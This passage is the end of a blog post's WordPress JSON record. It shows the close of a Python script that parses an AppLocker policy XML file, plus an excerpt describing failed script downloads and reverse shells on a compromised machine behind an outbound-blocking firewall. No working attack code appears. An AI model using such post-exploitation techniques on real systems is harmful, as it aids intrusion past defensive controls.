FileNotFoundError:\n        print(f\"\u6587\u4ef6 {xml_file_path} \u672a\u627e\u5230\u3002\")\n    except ET.ParseError:\n        print(f\"\u89e3\u6790 XML \u6587\u4ef6 {xml_file_path} \u65f6\u51fa\u9519\u3002\")\n\nif __name__ == \"__main__\":\n    xml_file_path = \"applocker.xml\"\n    main(xml_file_path)<\/code><\/pre>\n","protected":false},"excerpt":{"rendered":"<p>\u8fdb\u5165\u673a\u5668\u540e\u4f7f\u7528\u7684\u67d0\u4e9b\u547d\u4ee4\u65e0\u6548\uff0c\u67d0\u4e9b\u5de5\u5177\u62a5\u9519\u3002\u4e0b\u8f7d\u811a\u672c\u65f6\u62a5\u9519\uff0c\u53cd\u5f39shell\u65f6\u62a5\u9519\u3002\uff08\u9632\u706b\u5899\u4e0d\u5141\u8bb8\u6d41\u91cf\u51fa\u7ad9\uff09\uff08\u6709 [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"class_list":["post-1064","post","type-post","status-publish","format-standard","hentry","category-uncategorized"],"_links":{"self":[{"href":"http:\/\/www.xiyu12.top\/index.php?rest_route=\/wp\/v2\/posts\/1064","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/www.xiyu12.top\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.xiyu12.top\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.xiyu12.top\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/www.xiyu12.top\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=1064"}],"version-history":[{"count":0,"href":"http:\/\/www.xiyu12.top\/index.php?rest_route=\/wp\/v2\/posts\/1064\/revisions"}],"wp:attachment":[{"href":"http:\/\/www.xiyu12.top\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=1064"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.xiyu12.top\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=1064"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.xiyu12.top\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=1064"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}